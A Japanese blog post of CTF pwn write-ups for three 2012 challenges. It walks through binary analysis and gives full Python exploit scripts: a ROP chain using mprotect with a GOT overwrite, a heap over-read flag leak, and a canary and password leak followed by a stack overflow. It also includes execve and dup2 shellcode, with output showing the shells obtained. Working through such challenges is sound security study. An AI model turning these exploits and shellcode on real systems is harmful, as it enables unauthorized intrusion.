h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その1

pwn challenges list easyのWriteup
babyのWriteupをさぼってしまったのでeasyでは少しずつ書いていこうと思います。
使っているライブラリは

github.com

にあります。

2018/08/05 追記:途中からpwntoolsを使っています。 また、ライブラリが少し更新されているのでpwntoolsを使う前のexploitでは通らない可能性があります。

Writeup

[PoliCTF 2012] Bin-Pwn 300

ELF 32-bit、動的リンク、NX有効。

% file chal
chal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, not stripped
% checksec -f chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               8       chal

実行するとポート32000で待つのでncで接続してみる。(ポート番号はstraceでわかる)

% nc localhost 32000
AAAAAA
BBBBBBBBB

%

よくわからないのでgdbで追ってみる。
nc localhost 32000で接続してから

% ps a
  PID TTY      STAT   TIME COMMAND
 1210 tty1     Ss+    0:00 /sbin/agetty --noclear tty1 linux
 1216 ttyS0    Ss+    0:00 /sbin/agetty --keep-baud 115200 38400 9600 ttyS0 vt220
15977 pts/6    Ss+    0:00 -zsh
18385 pts/4    Ss     0:00 -zsh
19061 pts/0    Ss     0:00 -zsh
19064 pts/0    S+     0:00 tmux attach
19142 pts/4    S+     0:00 ./chal
19146 pts/1    Ss     0:00 -zsh
19150 pts/2    S+     0:00 nc localhost 32000
19151 pts/4    S+     0:00 ./chal
19152 pts/1    R+     0:00 ps a
28207 pts/5    Ss+    0:04 -zsh
28721 pts/2    Ss     0:02 -zsh
% sudo gdb -q -p 19151
gdb-peda$ finish
gdb-peda$ finish
Run till exit from #0  0xf75ff41e in recv () from /lib32/libc.so.6
 [----------------------------------registers----------------------------------
EAX: 0x10
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0xf76c9000 --> 0x1afdb0
EDI: 0xf76c9000 --> 0x1afdb0
EBP: 0xfffa8db8 --> 0xfffa8e18 --> 0x0
ESP: 0xfffa8b80 --> 0x4
EIP: 0x8049326 (<serve+152>:    mov    BYTE PTR [ebp-0x20d],0x0)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------
   0x804931b <serve+141>:       mov    eax,DWORD PTR [ebp+0x8]
   0x804931e <serve+144>:       mov    DWORD PTR [esp],eax
   0x8049321 <serve+147>:       call   0x8048870 <recv@plt>
=> 0x8049326 <serve+152>:       mov    BYTE PTR [ebp-0x20d],0x0
   0x804932d <serve+159>:       mov    DWORD PTR [ebp-0xc],0x0
   0x8049334 <serve+166>:       jmp    0x804935c <serve+206>
   0x8049336 <serve+168>:       lea    edx,[ebp-0x21c]
   0x804933c <serve+174>:       mov    eax,DWORD PTR [ebp-0xc]
[------------------------------------stack-------------------------------------
0000| 0xfffa8b80 --> 0x4
0004| 0xfffa8b84 --> 0xfffa8b9c ("\najoijiew\nalfjie")
0008| 0xfffa8b88 --> 0x10
0012| 0xfffa8b8c --> 0x100
0016| 0xfffa8b90 --> 0xf770253c --> 0xf76de000 --> 0x464c457f
0020| 0xfffa8b94 --> 0x0
0024| 0xfffa8b98 --> 0xf76ed1da (add    esp,0x10)
0028| 0xfffa8b9c ("\najoijiew\nalfjie")
[------------------------------------------------------------------------------
Legend: code, data, rodata, value
0x08049326 in serve ()

スタックを見てみるとrecv(4,0xfffa8b9c,0x10,0x100)が呼び出されていたことがわかる。flagにMSG_WAITALLが設定されているので0x10文字ちょうど送信する必要がある。

gdb-peda$ man recv
...
MSG_WAITALL (since Linux 2.2)
       This  flag requests that the operation block until the full request is satisfied.
       However, the call may still return less  data  than  requested  if  a  signal  is
       caught,  an  error  or disconnect occurs, or the next data to be received is of a
       different type than that returned.
...

その後入力した文字列を\nを区切り文字としてwhiteblackbintendo6446odnetnibhexhaxと比較してそれぞれのコマンドを実行している。
それぞれのコマンドを見ていくとblackでバッファオーバーフローを起こせることがわかった(全部読むのが大変だった…)。
blackでは0x200文字(これも0x200文字ちょうど送信する必要がある)を入力する。1文字ずつ見ていき、0x09('\t')だったら1をセット0x20(' ')だったら0をセットして、1bit左シフト、を繰り返し、バッファに保存していく。この保存先が親のスタックフレームのebpに近いため、戻り番地を書き換えることができる。
mprotectが使えるのでbssを実行可能にしてそこにシェルコードを書き込み、好きな関数のGOTをシェルコードの先頭に書き換えれば、シェルコードを実行できる。
シェルコードの作り方は

global main
main:
    xor eax, eax
    push eax
    mov ecx, esp
    mov edx, esp
    mov al, 0xb
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    int 0x80

上のコードをアセンブルして、objdumpの出力のコードの部分だけ抽出する(他のやり方があったら教えてほしい)。

% nasm -felf32 shell32.asm
% for x in $(objdump -d shell32.o | grep -A100 0: | cut -f2); do echo -n "\\\x$x"; done; echo
\x31\xc0\x50\x89\xe1\x89\xe2\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
#!/usr/bin/env python
from pwnlib import *

def b2ts(b):
    ret = ""
    for i in range(8)[::-1]:
        if 1<<i&ord(b):
            ret += "\t"
        else:
            ret += " "
    return ret

if __name__ == '__main__':
    s = Remote("localhost",32000)

    mprotect_plt = 0x8048710
    mprotect_got = 0x804b014
    recv_plt = 0x8048870
    pop3ret = 0x80496a1
    pop4ret = 0x80496a0
    bss_addr = 0x804b000

    shellcode = get_shellcode("lin32")

    payload = ""
    payload += "A" * 0x10
    payload += p32(mprotect_plt)
    payload += p32(pop3ret)
    payload += p32(bss_addr) + p32(0x1000) + p32(7)
    payload += p32(recv_plt)
    payload += p32(pop4ret)
    payload += p32(4) + p32(bss_addr+200) + p32(len(shellcode)) + p32(0)
    payload += p32(recv_plt)
    payload += p32(mprotect_plt)
    payload += p32(4) + p32(mprotect_got) + p32(0x4) + p32(0)
    payload += "A" * (0x80 - len(payload))

    payload = "".join(map(b2ts,payload))
    s.send("black\n" + "A"*10 + payload * 5)
    s.send(shellcode)
    s.send(p32(bss_addr+200))
    s.interact()
% ./exploit.py
[*] Switching to interactive mode

$ ls
asm.txt
chal
cmd
exploit.py
$ exit

*** Connection closed ***

[PHDays CTF 2012] #07 PWN200

ELF 32-bit、動的リンク、SSPとNX有効。

% file heaptaskforbin
heaptaskforbin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.15, BuildID[sha1]=60830f78c4331bce955103f8cf77e1e5c47e361d, stripped
% checksec -f heaptaskforbin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               4       heaptaskforbin

メッセージを扱うプログラムで5つの機能がある。

  1. メッセージの作成
  2. メッセージの表示
  3. メッセージの末尾に新たな文字列を追加
  4. メッセージの書き直し
  5. メッセージの削除

メッセージを作成すると対応するIDが返ってきて、2-5の機能ではそのIDを指定する。

% ./heaptaskforbin 14455
% nc localhost 14455
Welcome
1 - save message
2 - show message
3 - append message
4 - rewrite message
5 - delete message
1
Input your message
hoge
Message saved. Message ID = 1

それぞれの機能がどのように実装されているかを簡単に説明する。

  1. メッセージの作成
    0x400文字まで保存可能。mallocで0x100だけ確保し、そこにメッセージを書き込むが改行はnull文字に置き換えられる。メッセージの長さが0x100以上なら0x100ごとにreallocで確保する。文字列へのポインタとその長さとIDをテーブルに保存する。

  2. メッセージの表示
    入力したIDに対応するテーブルを探し、文字列が存在すれば出力する。

  3. メッセージの末尾に新たな文字列を追加
    条件は詳しく見ていないがほとんどの場合で、元のメッセージの末尾にmemcpyで文字列を追加。(mallocで確保していない領域まで書き込む)

  4. メッセージの書き換え
    (読んでいない)

  5. メッセージの削除
    確保していた領域をfreeしてテーブルに保存されているポインタにNULLを入れる。

実行ファイルに"flag"という文字列があったのでどこで使われているか見てみたらopenしてheapに書き込んでいた。

% gdb -q heaptaskforbin
gdb-peda$ start
gdb-peda$ find flag
Searching for 'flag' in: None ranges
Found 30 results, display max 30 items:
     heaptaskforbin : 0x804a73c ("flag")
     heaptaskforbin : 0x804b73c ("flag")
               libc : 0xf7c39746 ("flags")
               libc : 0xf7c3c0c8 ("flags")
               libc : 0xf7c3c528 ("flags")
               libc : 0xf7d81720 ("flags")
...
gdb-peda$ q
% objdump -d -M intel heaptaskforbin
...
 8048d37:       c7 04 24 00 01 00 00    mov    DWORD PTR [esp],0x100
 8048d3e:       e8 7d fc ff ff          call   80489c0 <malloc@plt>
 8048d43:       89 85 78 ff ff ff       mov    DWORD PTR [ebp-0x88],eax
 8048d49:       c7 44 24 04 00 00 00    mov    DWORD PTR [esp+0x4],0x0
 8048d50:       00
 8048d51:       c7 04 24 3c a7 04 08    mov    DWORD PTR [esp],0x804a73c <- "flag"
 8048d58:       e8 13 fb ff ff          call   8048870 <open@plt>
 8048d5d:       89 45 80                mov    DWORD PTR [ebp-0x80],eax
 8048d60:       c7 44 24 08 30 00 00    mov    DWORD PTR [esp+0x8],0x30
 8048d67:       00
 8048d68:       8b 85 78 ff ff ff       mov    eax,DWORD PTR [ebp-0x88]
 8048d6e:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048d72:       8b 45 80                mov    eax,DWORD PTR [ebp-0x80]
 8048d75:       89 04 24                mov    DWORD PTR [esp],eax
 8048d78:       e8 a3 fb ff ff          call   8048920 <read@plt>
 8048d7d:       8b 45 94                mov    eax,DWORD PTR [ebp-0x6c]
 8048d80:       8d 50 ff                lea    edx,[eax-0x1]
...

機能1や機能3で、改行を送らなければnull文字を入れられることはないため、メッセージを作成してフラグにぶつかるまで文字列を追加していくと割と高い確率でフラグが得られる(strlenで文字の長さを判断しているため、連続していればメッセージの一部として扱われる)。

#!/usr/bin/env python
from pwnlib import *

def save(m):
    s.sendline("1")
    s.send(m)
    s.recvuntil("Message ID = ")
    return s.recvline()

def show(_id):
    s.sendline("2")
    s.sendline(_id)
    s.recvuntil("Your message:\n")
    return s.recvuntil("Welcome")[:-10]

def append(_id,m):
    s.sendline("3")
    s.sendline(_id)
    s.recvuntil("in message\n")
    s.send(m)
    s.recvuntil("Success\n")

if __name__ == '__main__':
    s = Remote("localhost",14455)

    for i in range(0x30):
        _id = save("A"*0xff)
        for l in range(0x100,0x400,2):
            append(_id,"A"*2)
            res = show(_id)
            if len(res) > l + 5:
                if "flag" in res:
                    print res
                    exit(0)
                break
    s.close()
% ./exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  AAthis is flag.

[29c3 CTF 2012] Exploitation - update_server

ELF 32-bit、動的リンク、SSP有効。

% file update_server
update_server: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ce576f2b205fb378801a1c5592d81e7cd31e1e85, stripped
% checksec -f update_server
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   Yes     03update_server

versionとlinkを適当に作って、パスワードを指定して起動すると1024番ポートで待ち受ける。

% echo -n "v3.0\x00" > version
% echo -n "hoge" > link
% ./update_server pass
% nc localhost 1024
Version?
v3.0
State:
up to date
Version:
3.0

動作は3パターンあり、古いバージョンを指定すると"update available"と色々な情報(メモリダンプ)を返し、同じバージョンを指定すると上のように"up to date"と入力したバージョンを返し、新しいバージョンを指定するとパスワードを聞かれ、正しいパスワードを入力すればバージョンが更新され、メモリダンプを返すと同時に0x400文字の入力が許されバッファオーバーフローを起こせる。

攻撃の流れとしては、

  1. バージョンを特定する(これは適当に入力すればわかる)
  2. パスワードを特定する
  3. canaryをleakする
  4. シェルコードを送る

パスワードはesp+0x53cにあり、バージョンの入力をesp+0x4bcから上限0x80文字で行うため、パスワードの直前まで文字を埋められる。上で言った「同じバージョンを指定すると入力したバージョンを返す」はstrlenで入力の文字列の長さを判断するため、0x80文字いっぱい埋めればパスワードも文字列の一部として認識され、パスワードも出力される。

% python -c 'print "v3.0" + "A" * 0x7c' | nc localhost 1024
Version?
State:
up to date
Version:
3.0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAApass

canaryは出力されるメモリダンプの中に含まれているのでgdbなどを使ってどれがcanaryかを特定する。また、シェルコードに処理を移すときに必要なスタックのアドレスもメモリダンプの中に含まれている。
fork-server型なので、シェルコードではdupで入出力をソケットにつなぐようにしている。

global main
main:
    ; dup2(4,0)
    xor eax, eax
    mov al, 0x3f
    xor ebx, ebx
    mov bl, 0x4
    xor ecx, ecx
    int 0x80

    ; dup2(4,1)
    mov al, 0x3f
    inc ecx
    int 0x80

    ; dup2(4,2)
    mov al, 0x3f
    inc ecx
    int 0x80

    ; execve("/bin//sh",NULL,NULL)
    xor eax, eax
    push eax
    mov ecx, esp
    mov edx, esp
    mov al, 0xb
    push 0x978cd0d0
    not DWORD [esp]
    push 0x91969dd0
    not DWORD [esp]
    mov ebx, esp
    int 0x80
#!/usr/bin/env python
from pwnlib import *

if __name__ == '__main__':
    s = Remote("localhost",1024)
    s.send("\x00\x00")
    s.recvuntil("Version:\n")
    version = s.recvline()
    print "[*] version:", version
    s.close()

    s = Remote("localhost",1024)
    s.send("v" + version + "B" * (0x6f-len(version)) + "A"*0x10)
    s.recvuntil("A"*0x10)
    password = s.recvline()
    print "[*] password:", password
    s.close()

    s = Remote("localhost",1024)
    s.send("A"*0x80)
    s.send(password)
    s.recvuntil(password + "\n")
    for i in range(44):
        s.recvline()
    canary = u32(s.recvline()[:-1]) << 8
    print "[*] canary:", hex(canary)
    for i in range(13):
        s.recvline()
    buf_addr = u32(s.recvline()[3:7])
    print "[*] buffer address:", hex(buf_addr)
    s.recvuntil("Link?\n")

    payload = ""
    payload += "A" * 0x100
    payload += p32(canary)
    payload += "A" * 0x1c
    payload += p32(buf_addr - 0x18)
    payload += get_shellcode("dup32")
    s.send(payload)
    s.interact()
% ./exploit.py
[*] version: 3.0
[*] password: pass
[*] canary: 0x27e4c100
[*] buffer address: 0xff953818
[*] Switching to interactive mode

$ ls
asm.txt
exploit.py
link
update_server
version
$ exit

*** Connection closed ***

感想

babyと比べて攻撃手法は難しくないけど、バイナリを読むのが大変。
デバッグ力がついてきた気がする。

続き h-noson.hatenablog.jp